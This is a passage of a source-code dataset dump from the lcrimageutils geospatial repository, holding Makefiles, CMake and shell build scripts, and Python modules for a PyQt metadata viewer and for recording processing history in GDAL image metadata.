"src_encoding": "UTF-8", "text": "CFLAGS=-I$(GDAL_INCLUDE_PATH) -fPIC\nGDAL=-L$(GDAL_LIB_PATH) $(GDAL_LINK_FLAGS)\nOUTNAME=libgdalcmn.so\n\nall: gdalcommon\n\n.c.o:\n\t$(LCRCC) $(LCRCFLAGS) $(CFLAGS) -c $<\n.cpp.o:\n\t$(LCRCXX) $(LCRCXXFLAGS) $(CFLAGS) -c $<\n\ngdalcommon: gdalcommon.o gdalcommon_cpp.o histogram.o inv_dist_weighting.o glayer.o gutils.o ginfo.h fparse.o\n\t$(LCRCXX) gdalcommon.o gdalcommon_cpp.o histogram.o inv_dist_weighting.o glayer.o gutils.o fparse.o $(GDAL) $(LCRCXXLDFLAGS) $(GDAL_LINK_FLAGS) -o $(OUTNAME) $(LCRSHARED)\n\ninstall:\n\tcp $(OUTNAME) $(GDALHG_LIB_PATH)\n\tcp gdalcommon.h $(GDALHG_INCLUDE_PATH)\n\tcp gdalcommon_cpp.h $(GDALHG_INCLUDE_PATH)\n\tcp histogram.h $(GDALHG_INCLUDE_PATH)\n\tcp glayer.h $(GDALHG_INCLUDE_PATH)\n\tcp fparse.h $(GDALHG_INCLUDE_PATH)\n\tcp ginfo.h $(GDALHG_INCLUDE_PATH)\n\tcp gutils.h $(GDALHG_INCLUDE_PATH)\n\nclean:\n\trm -f *.o $(OUTNAME)\n\t\n" }, { "alpha_fraction": 0.6692432761192322, "alphanum_fraction": 0.6763628721237183, "avg_line_length": 33.377620697021484, "blob_id": "7a100ad5860c881ffce4d5f147533b1d8bc6b142", "content_id": "0391e504b4633bdf8508834d6fffdcf293378473", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4916, "license_type": "no_license", "max_line_length": 129, "num_lines": 143, "path": "/pyutils/lcrimageutils/historyview4.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n\"\"\"\nGUI app for displaying metadata tree\n\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport sys\n\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\n\nfrom lcrimageutils import history\nfrom lcrimageutils.history import ProcessingHistory # need to make pickle work TODO: sort this out\n\nclass HistoryViewApp(QApplication):\n\n def __init__(self):\n QApplication.__init__(self,sys.argv)\n self.alreadydisplayedkeys = {}\n \n def run(self,filename):\n \"\"\"\n Reads the xml in and constructs the GUI\n \"\"\"\n \n # read the History\n self.histobj = history.readTreeFromFilename(filename)\n\n # create the splitter widget\n self.splitter = QSplitter()\n self.splitter.resize(800,600)\n\n self.treeview = QTreeWidget(self.splitter)\n self.treeview.setRootIsDecorated(True)\n self.treeview.headerItem().setText(0,\"Name\")\n\n # now set up the tree\n self.rootnode = QTreeWidgetItem(self.treeview,[filename])\n self.rootnode.setExpanded(True)\n self.rootnode.metanode = (self.histobj.thismeta,filename)\n \n for parent in sorted(self.histobj.directparents.keys()):\n node = QTreeWidgetItem(self.rootnode,[parent])\n node.setExpanded(True)\n node.metanode = (self.histobj.directparents[parent],parent)\n self.alreadydisplayedkeys[parent] = node\n \n self.findParents(node,parent)\n \n # create a text area that can display HTML\n self.textarea = QTextEdit(self.splitter)\n self.textarea.setReadOnly(True)\n \n # set up the events\n QObject.connect(self.treeview,SIGNAL(\"currentItemChanged(QTreeWidgetItem *,QTreeWidgetItem *)\"),self.currentItemChanged)\n \n # set the root element\n self.treeview.setCurrentItem(self.rootnode)\n\n # show the app\n self.splitter.setWindowTitle(\"HistoryView\")\n self.splitter.show()\n self.exec_()\n\n def findParents(self,node,key):\n \"\"\"\n Searches for the parents of a given key and adds them to the node\n \"\"\"\n # search for any parents of 'parent' \n for (testchild,testparent) in self.histobj.relationships:\n #print testchild,testparent, parent\n if testchild == key:\n if testparent in self.alreadydisplayedkeys:\n # already seen this one\n parentnode = QTreeWidgetItem(node,[testparent])\n parentnode.setExpanded(True)\n previousnode = self.alreadydisplayedkeys[testparent]\n parentnode.metanode = (previousnode,testparent)\n # add an ellipsis one underneath to show there are more\n ellipsisnode = QTreeWidgetItem(parentnode,['...'])\n ellipsisnode.metanode = (previousnode,testparent)\n else:\n # ok create a node based on the meta in files\n parentnode = QTreeWidgetItem(node,[testparent])\n parentnode.setExpanded(True)\n parentnode.metanode = (self.histobj.files[testparent],testparent)\n self.alreadydisplayedkeys[testparent] = parentnode # so we can jump to it later\n # ok recurse and see if there are any more parents\n self.findParents(parentnode,testparent)\n \n \n def currentItemChanged(self,item,previous):\n \"\"\"\n Called when the tree view item changed\n \"\"\"\n if item is not None:\n (meta,name) = item.metanode\n if isinstance(meta,QTreeWidgetItem):\n # ok this means it is a repeat of the existing one - jump to it\n self.treeview.setCurrentItem(meta,0,QItemSelectionModel.ClearAndSelect)\n else:\n # hopefully a dictionary - populate page\n text = \"<h2>%s</h2>\\n\" % name\n text = text + \"<h4>Metadata:</h4>\\n\"\n text = text + \"<table border cellspacing=0 cellpadding=5><tr><th bgcolor=grey>Field</th><th bgcolor=grey>Value</th></tr>\"\n keys = list(meta.keys())\n keys.sort()\n for key in keys:\n text = text + \"<tr><td>%s</td><td>%s</td></tr>\" % (key,meta[key])\n text = text + \"</table>\"\n self.textarea.setText(text)\n\ndef run():\n \"\"\"\n Main part of program - displays window.\n \"\"\"\n if len(sys.argv) != 2:\n raise SystemExit(\"usage: historyview.py filename\")\n \n filename = sys.argv[1]\n\n app = HistoryViewApp()\n app.run(filename)\n\nif __name__ == '__main__':\n run()\n" }, { "alpha_fraction": 0.5816505551338196, "alphanum_fraction": 0.5906496644020081, "avg_line_length": 38.599998474121094, "blob_id": "1f5f87fe976235f465e64b27c9d1ae6282f44533", "content_id": "ce7a1f0f1bac36d9a3955a5812bffa4794dc0bfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 4556, "license_type": "no_license", "max_line_length": 194, "num_lines": 115, "path": "/utils/CMakeLists.txt", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "###############################################################################\n#\n# CMake build scripts for GDAL Utilities\n# \n# CMake build script created 2012/08/08 by Peter Bunting\n#\n# These scripts were initial based on those used for libLAS (http://liblas.org/)\n# and then edited for SPDLib (http://www.spdlib.org) before being edited again\n# for RSGISLib and then being used for GDALUtils.\n#\n# History\n# 2010/12/14 - Created by Peter Bunting for SPDLib\n# 2012/02/07 - Edited by Peter Bunting for RSGISLib\n# 2012/08/08 - Edited by Peter Bunting for GDAL Utils\n#\n###############################################################################\n\n###############################################################################\n# Set Project name and version\nproject (GDALUTILS)\n\nset (GDALUTILS_VERSION_MAJOR 1)\nset (GDALUTILS_VERSION_MINOR 1)\n\nset (PROJECT_SOURCE_DIR src)\n\noption(BUILD_SHARED_LIBS \"Build with shared library\" ON)\n\nset(GDALUTILS_COMMON_LIB_NAME gdalcommon)\nset(OGRDISSOLVE_BIN_NAME ogrdissolve)\n\nset(OGRDISSOLVE TRUE CACHE BOOL \"Build ogrdissolve\")\n\nset(GDAL_INCLUDE_DIR /usr/local/include CACHE PATH \"Include PATH for GDAL\")\nset(GDAL_LIB_PATH /usr/local/lib CACHE PATH \"Library PATH for GDAL\")\n\nset(GEOS_INCLUDE_DIR /usr/local/include CACHE PATH \"Include PATH for GEOS\")\nset(GEOS_LIB_PATH /usr/local/lib CACHE PATH \"Library PATH for GEOS\")\n###############################################################################\n\n###############################################################################\n# CMake settings\ncmake_minimum_required(VERSION 2.6.0)\n\nIF(NOT CMAKE_BUILD_TYPE)\n #SET(CMAKE_BUILD_TYPE \"DEBUG\")\n SET(CMAKE_BUILD_TYPE \"RELEASE\")\n #SET(CMAKE_BUILD_TYPE \"RELWITHDEBINFO\")\n #SET(CMAKE_BUILD_TYPE \"MINSIZEREL\")\nENDIF()\n\nset(CMAKE_COLOR_MAKEFILE ON)\n\n# Allow advanced users to generate Makefiles printing detailed commands\nmark_as_advanced(CMAKE_VERBOSE_MAKEFILE)\n\n# Path to additional CMake modules\nset(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} ./cmake/modules/)\n###############################################################################\n\n###############################################################################\n# Platform and compiler specific settings\n\n# Recommended C++ compilation flags\n# -Weffc++\nset(GDALUTILS_CXX_FLAGS \"-pedantic -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wredundant-decls -Wno-long-long\")\n\nif(CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_GNUCXX)\n set(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -fPIC ${GDALUTILS_CXX_FLAGS}\")\n if (CMAKE_COMPILER_IS_GNUCXX)\n set(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -std=c++98\")\n endif()\n\nelseif(\"${CMAKE_CXX_COMPILER_ID}\" MATCHES \"Clang\" OR \"${CMAKE_CXX_COMPILER}\" MATCHES \"clang\")\n set(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} ${GDALUTILS_CXX_FLAGS}\")\nendif()\n\nif (APPLE)\n set(SO_EXT dylib)\n # set(CMAKE_FIND_FRAMEWORK \"LAST\")\nelseif(WIN32)\n set(SO_EXT dll)\nelse()\n set(SO_EXT so)\nendif(APPLE)\n###############################################################################\n\n###############################################################################\n# Check the required libraries are present\n\ninclude_directories(${GEOS_INCLUDE_DIR})\nset(GEOS_LIBRARIES -L${GEOS_LIB_PATH} -lgeos -lgeos_c )\n\ninclude_directories(${GDAL_INCLUDE_DIR})\nset(GDAL_LIBRARIES -L${GDAL_LIB_PATH} -lgdal)\n\n###############################################################################\n\n###############################################################################\n# Build executables\n\nadd_library( ${GDALUTILS_COMMON_LIB_NAME} ${PROJECT_SOURCE_DIR}/common/glayer.c ${PROJECT_SOURCE_DIR}/common/gutils.c ${PROJECT_SOURCE_DIR}/common/ginfo.h ${PROJECT_SOURCE_DIR}/common/fparse.c )\ntarget_link_libraries(${GDALUTILS_COMMON_LIB_NAME} ${GDAL_LIBRARIES} )\ninstall (TARGETS ${GDALUTILS_COMMON_LIB_NAME} DESTINATION lib)\nset(GDALCOMMON_INCLUDE_FILES ${PROJECT_SOURCE_DIR}/common/fparse.h ${PROJECT_SOURCE_DIR}/common/ginfo.h ${PROJECT_SOURCE_DIR}/common/glayer.h ${PROJECT_SOURCE_DIR}/common/gutils.h)\ninstall (FILES ${GDALCOMMON_INCLUDE_FILES} DESTINATION include)\ninclude_directories (\"${PROJECT_SOURCE_DIR}/common\")\n\nif(OGRDISSOLVE)\n\tadd_executable(${OGRDISSOLVE_BIN_NAME} ${PROJECT_SOURCE_DIR}/ogrdissolve/ogrdissolve.cpp )\n\ttarget_link_libraries (${OGRDISSOLVE_BIN_NAME} ${GDALUTILS_COMMON_LIB_NAME} ${GDAL_LIBRARIES} ${GEOS_LIBRARIES} )\n\tinstall (TARGETS ${OGRDISSOLVE_BIN_NAME} DESTINATION bin PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE)\nendif(OGRDISSOLVE)\n\n###############################################################################\n\n\n" }, { "alpha_fraction": 0.6943589448928833, "alphanum_fraction": 0.6994871497154236, "avg_line_length": 18.897958755493164, "blob_id": "a613fa23aa88e1bb669686b8b56cd30b8a3de329", "content_id": "bea7e333e5388afaa298ab9cc87bf07855272014", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 975, "license_type": "no_license", "max_line_length": 44, "num_lines": 49, "path": "/build_all.sh", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nset -e\n\ncd utils\n\nrm -f CMakeCache.txt\nrm -rf CMakeFiles\n\ncmake -D CMAKE_INSTALL_PREFIX=$1 \\\n-D CMAKE_CXX_COMPILER=\"$LCRCXX\" \\\n-D CMAKE_CXX_FLAGS:STRING=\"$LCRCXXFLAGS\" \\\n-D CMAKE_C_COMPILER=\"$LCRCC\" \\\n-D CMAKE_C_FLAGS:STRING=\"$LCRCFLAGS\" \\\n-D CMAKE_VERBOSE_MAKEFILE=ON \\\n-D GDAL_INCLUDE_DIR=$GDAL_INCLUDE_PATH \\\n-D GDAL_LIB_PATH=$GDAL_LIB_PATH \\\n-D GEOS_INCLUDE_DIR=$GEOS_INCLUDE_PATH \\\n-D GEOS_LIB_PATH=$GEOS_LIB_PATH \\\n.\n\nmake \nmake install\n\ncd ../libimgf90\n\nrm -f CMakeCache.txt\nrm -rf CMakeFiles\n\ncmake -D CMAKE_INSTALL_PREFIX=$1 \\\n-D CMAKE_CXX_COMPILER=\"$LCRCXX\" \\\n-D CMAKE_CXX_FLAGS:STRING=\"$LCRCXXFLAGS\" \\\n-D CMAKE_C_COMPILER=\"$LCRCC\" \\\n-D CMAKE_C_FLAGS:STRING=\"$LCRCFLAGS\" \\\n-D CMAKE_Fortran_COMPILER=\"$LCRFC\" \\\n-D CMAKE_Fortran_FLAGS:STRING=\"$LCRFFLAGS\" \\\n-D CMAKE_VERBOSE_MAKEFILE=ON \\\n-D GDAL_INCLUDE_PATH=$GDAL_INCLUDE_PATH \\\n-D GDAL_LIB_PATH=$GDAL_LIB_PATH \\\n.\n\nmake\nmake install\n\ncd ..\n\ncd pyutils\npython setup.py install --prefix=$1\ncd ..\n" }, { "alpha_fraction": 0.6788435578346252, "alphanum_fraction": 0.6825041174888611, "avg_line_length": 31.24337387084961, "blob_id": "79a5d42ea69e066c277189a1d99b89c0bb01defa", "content_id": "a9793db5e82e3b69cacced6e941ccb0cb9cb162a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13386, "license_type": "no_license", "max_line_length": 125, "num_lines": 415, "path": "/pyutils/lcrimageutils/history.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n\"\"\"\nModule for reading and writing ProcessingHistory objects from images\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport os\nimport sys\nimport json\nimport time\nfrom osgeo import gdal\nfrom osgeo.gdalconst import *\nfrom . import xmlhistory\n\nmetadataName = 'LCR_ProcessingHistory'\n\nclass ProcessingHistory:\n \"\"\"\n Class that stores the 'processing history' information for a file.\n This is the 'new' implementation that stores the information for the\n files and the file relationships seperately.\n \"\"\"\n def __init__(self):\n self.files = {}\n # a dictionary. Key is created by createKey()\n # Stored against each key is the 'meta' dictionary\n # with all the info for the node.\n \n self.thismeta = {}\n # The 'meta' dictionary for 'this' file\n \n self.relationships = []\n # A list of tuples describing the relationship.\n # First element in the tuple is key of child,\n # second element is key of parent.\n # NOTE: this excludes the direct parents which \n # are stored seperately below.\n \n self.directparents = {}\n # a dictionary. Key is created by createKey()\n # Stored against each key is the 'meta' dictionary\n # with all the info for the node OF THE DIRECT PARENTS\n \n def dump(self):\n \"\"\"\n Prints the contents of this object out.\n \"\"\"\n print('thismeta:', self.thismeta)\n print('-------------------------------------')\n print('direct parents:')\n for key in self.directparents.keys():\n print(key, self.directparents[key])\n print('-------------------------------------')\n print('Files:')\n for key in self.files.keys():\n print(key, self.files[key])\n print('-------------------------------------')\n print('Relationships:')\n for (child,parent) in self.relationships:\n print(child, parent)\n print('-------------------------------------')\n #print 'toString:'\n #print self.toString()\n \n @staticmethod\n def fromXMLTree(tree):\n \"\"\"\n Turns an old style XML tree into a ProcessingHistory \n object and returns it\n \"\"\"\n obj = ProcessingHistory()\n \n # meta for the head\n obj.thismeta = tree.head.meta\n \n # first add the direct parents\n for parent in tree.head.parents:\n timestamp = None\n if 'timestamp' in parent.meta:\n timestamp = parent.meta['timestamp']\n key = obj.createKey(parent.name,timestamp)\n obj.addDirectParent(key,parent.meta)\n # and the metadata for all their parents to the other lists\n tree.traverseTree(obj,parent)\n \n return obj\n \n def addFile(self,key,meta):\n \"\"\"\n Add a file and its metadata if not already recorded.\n Returns True if new file\n NOTE: should not be a direct parent - use addDirectParent instead\n \"\"\"\n added = False\n if key not in self.files.keys():\n self.files[key] = meta\n added = True\n return added\n \n def addRelationship(self,newchildkey,newparentkey):\n \"\"\"\n Add a relationship between a child file and parent file if not already recorded.\n Returns True if a new relationship.\n NOTE: should not be a direct parent - use addDirectParent instead\n \"\"\"\n found = (newchildkey, newparentkey) in self.relationships\n if not found:\n relationship = (newchildkey,newparentkey)\n self.relationships.append(relationship)\n return not found\n \n def addDirectParent(self,key,meta):\n \"\"\"\n Adds metadata to the list of direct parents\n \"\"\"\n self.directparents[key] = meta\n \n @staticmethod\n def createKey(name,timestamp=None):\n \"\"\"\n Creates a key given a filename and a timestamp.\n If timestamp not specified the current time is used.\n \"\"\"\n if timestamp is None:\n timestamp = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n return '%s %s' % (name.strip('\\r\\n'),timestamp.strip('\\r\\n'))\n \n def mergeHistory(self,key,history):\n \"\"\"\n Takes another processing history obj and merges it in.\n It is assumed that the current object is the current file\n the has self.thismeta set and the object to be merged in \n is one of the direct parents.\n \"\"\"\n # add all the non-direct files\n for keyh in history.files.keys():\n self.addFile(keyh,history.files[keyh])\n for keyh in history.directparents.keys():\n self.addFile(keyh,history.directparents[keyh])\n for (child,parent) in history.relationships:\n self.addRelationship(child,parent)\n \n self.addDirectParent(key,history.thismeta)\n # add it's direct relationships as parents\n for parent in history.directparents:\n self.addRelationship(key,parent)\n\n def processNode(self,node):\n \"\"\"\n Process a node from an old xml style history file\n (using xmlhistory.Tree.traverseTree)\n \"\"\"\n # do we have this node?\n timestamp = None\n if 'timestamp' in node.meta:\n timestamp = node.meta['timestamp']\n key = self.createKey(node.name,timestamp)\n self.addFile(key,node.meta)\n for parent in node.parents:\n timestamp = None\n if 'timestamp' in parent.meta:\n timestamp = parent.meta['timestamp']\n parentkey = self.createKey(parent.name,timestamp)\n self.addRelationship(key,parentkey)\n \n def toString(self):\n \"\"\"\n Returns this instance as a ASCII string that can \n be stored and recreated as an object using fromString()\n \"\"\"\n rep = {'files':self.files,'thismeta':self.thismeta,'relationships':self.relationships,'directparents':self.directparents}\n return json.dumps(rep)\n \n @staticmethod\n def fromString(s):\n \"\"\"\n Creates and returns a new ProcessingHistory object from\n a string previously returned by toString()\n \"\"\"\n rep = json.loads(s)\n obj = ProcessingHistory()\n obj.files = rep['files']\n obj.thismeta = rep['thismeta']\n obj.relationships = rep['relationships']\n obj.directparents = rep['directparents']\n return obj\n\n# \n# Module functions\n#\n\ndef readTreeFromDataset(dataset):\n \"\"\"\n Reads the processing history out of an GDAL dataset and returns it\n \"\"\"\n band = dataset.GetRasterBand(1)\n meta = band.GetMetadata()\n if metadataName in meta:\n # file has they processinghisory stored as pickled object\n s = meta[metadataName]\n obj = ProcessingHistory.fromString(s)\n elif xmlhistory.metadataName in meta:\n # this should convert from an xml tree to a ProcessingHistory\n tree = xmlhistory.readTreeFromDataset(dataset)\n obj = ProcessingHistory.fromXMLTree(tree)\n else:\n # no metadata in this file - manufacture an empty object\n #print \"warning: %s has no metadata\" % dataset.GetDescription()\n obj = ProcessingHistory()\n \n return obj\n \ndef readTreeFromFilename(imgfile):\n \"\"\"\n Same as readTreeFromDataset() but takes a filename\n \"\"\"\n \n if len(imgfile) > 8 and imgfile[-8:] == \".tseries\":\n # a .tseries file\n # should handle this properly and pull all the metadata out of that\n # just create a simple node for now\n obj = ProcessingHistory() \n elif fileIsXML(imgfile):\n import xml.dom.minidom\n dom = xml.dom.minidom.parse(imgfile)\n metadataElementList = dom.getElementsByTagName(xmlhistory.metadataTag)\n if len(metadataElementList) > 0:\n element = metadataElementList[0]\n tree = xmlhistory.Tree.fromXMLString(element.toxml())\n obj = ProcessingHistory.fromXMLTree(tree)\n else:\n # Look under the new name\n metadataElementList = dom.getElementsByTagName(metadataName)\n if len(metadataElementList) > 0:\n element = metadataElementList[0]\n pickled = str(element.firstChild.data).strip()\n obj = ProcessingHistory.fromString(pickled)\n else:\n # No metadata tag present, make an empty tree\n obj = ProcessingHistory()\n else:\n # must be a .img file - get GDAL to do the work\n ds = gdal.Open(str(imgfile), GA_ReadOnly)\n obj = readTreeFromDataset(ds)\n del ds\n\n return obj\n\n\ndef getMandatoryFields(script, argv):\n \"\"\"\n Get the mandatory fields and return as a dictionary\n If script is None, works it out from sys.argv[0]. \n Similarly for argv, to get the commandline arguments. \n \"\"\"\n import sys\n import subprocess\n \n dictn = {}\n \n dictn['timestamp'] = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n login = os.getenv('LOGNAME','unknown') # see http://docs.python.org/lib/os-procinfo.html#l2h-2578\n if login == 'unknown':\n login = os.getenv('USER','unknown')\n dictn['login'] = login\n \n uname = os.uname()\n dictn['uname_os'] = uname[0]\n dictn['uname_host'] = uname[1]\n dictn['uname_release'] = uname[2]\n dictn['uname_version'] = uname[3]\n dictn['uname_machine'] = uname[4]\n dictn['cwd'] = os.getcwd()\n \n if argv is None:\n argv = ' '.join(sys.argv[1:])\n dictn['commandline'] = argv\n \n if script is None:\n script = sys.argv[0]\n dictn['script'] = os.path.basename(script)\n dictn['script_dir'] = os.path.dirname(script)\n\n return dictn\n\n\ndef insertHistory(name,parent_list,optional_dict,script=None,argv=None):\n \"\"\"\n Creates a new node with mandatory metadata\n and any optional metadata passed in optional_dict. It merges all of the metadata from the parent filenames\n passed in parent_list.\n If this is being called from a Python script leave script None it will read it from the \n current environment. If calling from a C-Shell script pass in $0\n If this is being called from a Python script leave argv None it will read it from the \n current environment. If calling from a C-Shell script pass in $argv\n \"\"\"\n \n if len(parent_list) == 0:\n print(\"Warning: file has no parents - is this correct?\")\n\n obj = ProcessingHistory()\n obj.thismeta = getMandatoryFields(script, argv)\n # optional fields\n for key in optional_dict.keys():\n obj.thismeta[key] = optional_dict[key]\n \n for parent in parent_list:\n parentobj = readTreeFromFilename(parent)\n parentTimestamp = None\n if 'timestamp' in parentobj.thismeta:\n parentTimestamp = parentobj.thismeta['timestamp']\n key = obj.createKey(parent, parentTimestamp)\n obj.mergeHistory(key,parentobj)\n \n return obj\n\ndef insertMetadataDataset(dataset,parent_list,optional_dict,script=None,argv=None):\n \"\"\"\n Takes a dataset (opened with GA_Update, or Create()) and creates a new node with mandatory metadata\n and any optional metadata passed in optional_dict. It merges all of the metadata from the parent filenames\n passed in parent_list.\n If this is being called from a Python script leave script None it will read it from the \n current environment. If calling from a C-Shell script pass in $0\n If this is being called from a Python script leave argv None it will read it from the \n current environment. If calling from a C-Shell script pass in $argv\n \"\"\"\n \n name = os.path.basename(dataset.GetDescription())\n \n obj = insertHistory(name,parent_list,optional_dict,script,argv)\n setProcessingHistoryDataset(dataset,obj)\n\n \ndef setProcessingHistoryDataset(dataset,obj):\n band = dataset.GetRasterBand(1)\n meta = band.GetMetadata()\n if metadataName in meta:\n print(\"Warning: overwriting existing metadata\")\n \n meta[metadataName] = obj.toString()\n band.SetMetadata(meta)\n \n \n \ndef insertMetadataFilename(imgfile,parent_list,optional_dict,script=None,argv=None):\n \"\"\"\n Same as insertMetadataDataset but takes a filename rather than a dataset\n Also adapted to work if the file is an XML file, by detecting this and calling the right routine.\n \"\"\"\n if fileIsXML(imgfile):\n insertMetadataXMLfile(imgfile,parent_list,optional_dict,script,argv)\n else:\n ds = gdal.Open(str(imgfile), GA_Update)\n insertMetadataDataset(ds,parent_list,optional_dict,script,argv)\n del ds\n\n\ndef fileIsXML(filename):\n \"\"\"\n Check the beginning of a file and determine whether it appears to be an XML file or not. \n \"\"\"\n magicNumberString = open(filename, 'rb').read(5)\n return (magicNumberString == \"<?xml\")\n\ndef insertMetadataXMLfile(filename, parent_list, optional_dict, script=None, argv=None):\n \"\"\"\n Opens the file, reads it, adds the metadata, and re-writes the file. \n \"\"\"\n\n obj = insertHistory(filename,parent_list,optional_dict,script=None,argv=None)\n\n import xml.dom.minidom\n doc = xml.dom.minidom.parse(filename) # read existing xml (not history)\n \n parent = doc.createElement(metadataName)\n doc.firstChild.appendChild(parent)\n data = doc.createTextNode(obj.toString())\n parent.appendChild(data)\n \n xml = doc.toprettyxml(indent=' ')\n f = open(filename, 'w')\n f.write(xml)\n f.close()\n\n\n\n\n# \n# Test code\n#\n\nif __name__ =='__main__':\n import sys\n \n infile1 = sys.argv[1]\n infile2 = sys.argv[2]\n outfile = sys.argv[3]\n \n insertMetadataFilename(outfile,[infile1,infile2],{}) \n \n" }, { "alpha_fraction": 0.7188612222671509, "alphanum_fraction": 0.7255832552909851, "avg_line_length": 40.459014892578125, "blob_id": "34ac0b3adcf139a53f8a9811e60245e0264747c0", "content_id": "9b206269dc19fa1af26bdc87ab8cfd4029a0bb71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2529, "license_type": "no_license", "max_line_length": 153, "num_lines": 61, "path": "/pyutils/bin/historymerge.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"\nCommand line program to call meta.insertMetadataFilename.\n\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport sys\nimport optparse\nfrom lcrimageutils import history\n\nclass CmdArgs(object):\n def __init__(self):\n parser = optparse.OptionParser(usage=\"%prog [options]\")\n parser.add_option(\"-d\",\"--dest\", dest=\"dest\", help=\"Name of file metadata to be written to\")\n parser.add_option(\"-p\",\"--parent\", dest=\"parents\", help=\"Name of parent file - can be specified multiple times for multiple parents\",action=\"append\")\n parser.add_option(\"-a\",\"--argv\", dest=\"argv\", help=\"Command line of script calling this. Should be quoted - ie '$argv'\")\n parser.add_option(\"-s\",\"--script\", dest=\"script\", help=\"Name of script calling this. Should be quoted - ie '$0'\")\n parser.add_option(\"-o\",\"--optional\", dest=\"optionals\", help=\"Any optional metadata for this file in the form: -o tag=value\",action=\"append\")\n self.parser = parser\n (options, args) = parser.parse_args()\n # Some magic to copy the particular fields into our final object\n self.__dict__.update(options.__dict__)\n \n# Use the class above to create the command args object\ncmdargs = CmdArgs()\n\nif not cmdargs.dest or not cmdargs.argv or not cmdargs.script:\n cmdargs.parser.print_help()\n sys.exit()\n\n# populate the optional dictionary\noptional_dict = {}\nif cmdargs.optionals:\n for opt in cmdargs.optionals:\n (key,value) = opt.split('=')\n optional_dict[key] = value\n \n# it's possible there are no parent - import etc.\n# insertMetadataFilename does display a warning\nif not cmdargs.parents:\n cmdargs.parents = []\n \n# call the method in the meta module that does the insert and merge\nhistory.insertMetadataFilename(cmdargs.dest,cmdargs.parents,optional_dict,cmdargs.script,cmdargs.argv)\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 19.27777862548828, "blob_id": "6db864e8e25e1862a9036359d7d2137ad96f9a46", "content_id": "27e594c1e5d46ee40683e43764f433e3891550cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 372, "license_type": "no_license", "max_line_length": 79, "num_lines": 18, "path": "/utils/src/ogrdissolve/Makefile", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "CFLAGS=-I$(GDAL_INCLUDE_PATH) $(LCRCFLAGS)\nLDFLAGS=-L$(GDAL_LIB_PATH) -lgdal -lgeos -lgeos_c\nCC=$(LCRCC)\nOUTNAME=ogrdissolve\n\nall: ogrdissolve\n\n.c.o:\n\t$(CC) $(CFLAGS) -c $<\n\nogrdissolve: ogrdissolve.o Makefile\n\t$(CC) $(GDAL_LINK_FLAGS) ogrdissolve.o $(LCRLDFLAGS) $(LDFLAGS) -o ogrdissolve\n\ninstall:\n\tcp $(OUTNAME) $(GDALHG_BIN_PATH)\n\nclean:\n\trm -f *.o $(OUTNAME)\n \n \n\n" }, { "alpha_fraction": 0.6716208457946777, "alphanum_fraction": 0.6761621832847595, "avg_line_length": 29.052108764648438, "blob_id": "f8a6055a3f54c8e92ad49c1ce5e2553fe3278bbc", "content_id": "1541f9fd121711ee47bb2d2bb2f35326c987a9f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12111, "license_type": "no_license", 